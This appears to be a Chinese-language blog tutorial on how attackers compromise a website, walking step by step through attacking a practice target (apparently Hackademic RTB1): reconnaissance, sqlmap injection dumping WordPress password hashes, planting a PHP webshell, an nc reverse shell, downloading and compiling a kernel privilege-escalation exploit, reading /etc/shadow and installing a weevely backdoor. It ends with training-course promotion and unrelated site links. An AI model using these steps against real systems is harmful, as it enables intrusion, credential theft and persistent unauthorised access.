黑客是如何攻破一个网站的?

前言

一篇科普文,很适合小白,长文请静下心看。

通过本文你将了解黑客常用的入手思路和技术手法,适合热爱网络信息安全的新手朋友了解学习。本文将从最开始的信息收集开始讲述黑客是如何一步步的攻破你的网站和服务器的。阅读本文你会学到以下内容:

1.渗透测试前的简单信息收集。

2.sqlmap的使用

3.nmap的使用

4.nc反弹提权

5.linux系统的权限提升

6.backtrack 5中渗透测试工具nikto和w3af的使用等.

假设黑客要入侵的你的网站域名为:hack-test.com

让我们用ping命令获取网站服务器的IP地址

【----帮助大家学习,以下所有资料文末免费领!----】

现在我们获取了网站服务器的IP地址为:173.236.138.113

寻找同一服务器上的其它网站,我们使用sameip.org.

26 sites hosted on IP Address 173.236.138.113

ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com

173.236.138.113上有26个网站,很多黑客为了攻破你的网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,我们将抛开服务器上的其它网站,只针对你的网站来进行入侵检测。

我们需要关于你网站的以下信息:

  1. DNS records (A, NS, TXT, MX and SOA)

  2. Web Server Type (Apache, IIS, Tomcat)

  3. Registrar (the company that owns your domain)

  4. Your name, address, email and phone

  5. Scripts that your site uses (php, asp, asp.net, jsp, cfm)

  6. Your server OS (Unix,Linux,Windows,Solaris)

  7. Your server open ports to internet (80, 443, 21, etc.)

让我们开始找你网站的DNS记录,我们用who.is来完成这一目标.

我们发现你的DNS记录如下

让我们来确定web服务器的类型

发现你的Web服务器是apache,接下来确定它的版本.

IP: 173.236.138.113

Website Status: active

Server Type: Apache

Alexa Trend/Rank: 1 Month:3,213,968 3 Month: 2,161,753

Page Views per Visit: 1 Month: 2.0 3Month: 3.7

接下来是时候寻找你网站域名的注册信息,你的电话、邮箱、地址等.

我们现在已经获取了你的网站域名的注册信息,包括你的重要信息等.

我们可以通过backtrack5中的whatweb来获取你的网站服务器操作系统类型和服务器的版本.

我们发现你的网站使用了著名的php整站程序wordpress,服务器的的系统类型为FedoraLinux,Web服务器版本Apache 2.2.15.继续查看网站服务器开放的端口,用渗透测试工具nmap:

1-Find services that run on server(查看服务器上运行的服务)

2-Find server OS(查看操作系统版本)

只有80端口是开放的,操作系统是Linux2.6.22(Fedora Core 6),现在我们已经收集了所有关于你网站的重要信息,接下来开始扫描寻找漏洞,比如:

Sql injection -- Blind sql injection -- LFI -- RFI -- XSS -- CSRF等等.

我们将使用Nikto来收集漏洞信息:

root@bt:/pentest/web/nikto# perlnikto.pl -h hack-test.com

我们也会用到Backtrack 5 R1中的W3AF 工具:

root@bt:/pentest/web/w3af#./w3af_gui

我们输入要检测的网站地址,选择完整的安全审计选项.

稍等一会,你将会看到扫描结果.

发现你的网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.让我们来探讨SQL注入漏洞.

http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220

我们通过工具发现这个URL存在SQL注入,我们通过Sqlmap来检测这个url.

Using sqlmap with --u url

过一会你会看到

输入N按回车键继续

我们发现你的网站存在mysql显错注入,mysql数据库版本是5.0. 我们通过加入参数"-dbs"来尝试采集数据库名.

发现三个数据库,接下来通过参数"-D wordpress -tables"来查看wordpress数据库的所有表名

通过参数"-T wp_users --columns "来查看wp_users表中的字段.

接下来猜解字段user_login和user_pass的值.用参数"-C user_login,user_pass--dump"

我们会发现用户名和密码hashes值. 我们需要通过以下在线破解网站来破解密码hashes

http://www.onlinehashcrack.com/free-hash-reverse.php

登陆wordpress的后台wp-admin

尝试上传php webshell到服务器,以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件,编辑插入我们的php webshell,点击更新文件,然后访问我们的phpwebshell.

Phpwebshell被解析了,我们可以控制你网站的文件,但是我们只希望获得网站服务器的root权限,来入侵服务器上其它的网站。

我们用NC来反弹一个shell,首先在我们的电脑上监听5555端口.

然后在Php webshell上反向连接我们的电脑,输入你的IP和端口5555.

点击连接我们会看到

接下来我们尝试执行一些命令:

id

uid=48(apache) gid=489(apache) groups=489(apache)
 (用来显示用户的id和组)

pwd

/var/www/html/Hackademic_RTB1/wp-content/plugins
 (显示服务器上当前的路径)

uname -a

Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 721:41:45 EST 2009 i686 i686 i386 GNU/Linux

(显示内核版本信息)

现在我们知道,服务器的内核版本是2.6.31.5-127.fc12.1686,我们在exploit-db.com中搜索此版本的相关漏洞.

在服务器上测试了很多exp之后,我们用以下的exp来提升权限.

http://www.exploit-db.com/exploits/15285

我们在nc shell上执行以下命令:

wgethttp://www.exploit-db.com/exploits/15285 -o roro.c

(下载exp到服务器并重命名为roro.c)

注:很多linux内核的exp都是C语言开发的,因此我们保存为.c扩展名.

exp roro.c代码如下:

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0)
{
printf("[*] Could not open socket.");
exit(-1);
}
memset(&addr, 0, sizeof(addr));

通过以上代码我们发现该exp是C语言开发的,我们需要将它编译成elf格式的,命令如下:

gcc roro.c --ororo

接下来执行编译好的exp

./roro

执行完成之后我们输入id命令

id

我们发现我们已经是root权限了

uid=0(root) gid=0(root)

现在我们可以查看/etc/shadow文件

cat/etc/shadow

我们可以使用"john theripper"工具破解所有用户的密码.但是我们不会这样做,我们需要在这个服务器上留下后门以方便我们在任何时候访问它.

我们用weevely制作一个php小马上传到服务器上.

1.weevely使用选项

root@bt:/pentest/backdoors/web/weevely#./main.py -

2.用weevely创建一个密码为koko的php后门

root@bt:/pentest/backdoors/web/weevely#./main.py -g -o hax.php -p koko

接下来上传到服务器之后来使用它

root@bt:/pentest/backdoors/web/weevely#./main.py -t -uhttp://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -pkoko

测试我们的hax.php后门

如何学习网络安全:


【----帮助网安学习,以下所有学习资料文末免费领取!----】

> ① 网安学习成长路径思维导图

> ② 60+网安经典常用工具包

> ③ 100+SRC漏洞分析报告

> ④ 150+网安攻防实战技术电子书

> ⑤ 最权威CISSP 认证考试指南+题库

> ⑥ 超1800页CTF实战技巧手册

> ⑦ 最新网安大厂面试题合集(含答案)

> ⑧ APP客户端安全检测指南(安卓+IOS)

大纲

首先要找一份详细的大纲。

学习教程

第一阶段:零基础入门系列教程

该阶段学完即可年薪15w+

第二阶段:技术入门

弱口令与口令爆破

XSS漏洞

CSRF漏洞

SSRF漏洞

XXE漏洞

SQL注入

任意文件操作漏洞

业务逻辑漏洞

该阶段学完年薪25w+

阶段三:高阶提升

反序列化漏洞

RCE

综合靶场实操项目

内网渗透

流量分析

日志分析

恶意代码分析

应急响应

实战训练

该阶段学完即可年薪30w+

面试刷题


最后,我其实要给部分人泼冷水,因为说实话,上面讲到的资料包获取没有任何的门槛。

但是,我觉得很多人拿到了却并不会去学习。

大部分人的问题看似是"如何行动",其实是"无法开始"。

几乎任何一个领域都是这样,所谓"万事开头难",绝大多数人都卡在第一步,还没开始就自己把自己淘汰出局了。

如果你真的确信自己喜欢网络安全/黑客技术,马上行动起来,比一切都重要

资料领取

👇👇👇

如果你也想学习:黑客&网络安全的零基础攻防教程

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

在这里领取:

相关推荐
测试界的酸菜鱼10 分钟前
Python 大数据展示屏实例
大数据·开发语言·python
让学习成为一种生活方式14 分钟前
R包下载太慢安装中止的解决策略-R语言003
java·数据库·r语言
晨曦_子画20 分钟前
编程语言之战:AI 之后的 Kotlin 与 Java
android·java·开发语言·人工智能·kotlin
Black_Friend28 分钟前
关于在VS中使用Qt不同版本报错的问题
开发语言·qt
南宫生43 分钟前
贪心算法习题其三【力扣】【算法学习day.20】
java·数据结构·学习·算法·leetcode·贪心算法
希言JY1 小时前
C字符串 | 字符串处理函数 | 使用 | 原理 | 实现
c语言·开发语言
残月只会敲键盘1 小时前
php代码审计--常见函数整理
开发语言·php
xianwu5431 小时前
反向代理模块
linux·开发语言·网络·git
Heavydrink1 小时前
HTTP动词与状态码
java
ktkiko111 小时前
Java中的远程方法调用——RPC详解
java·开发语言·rpc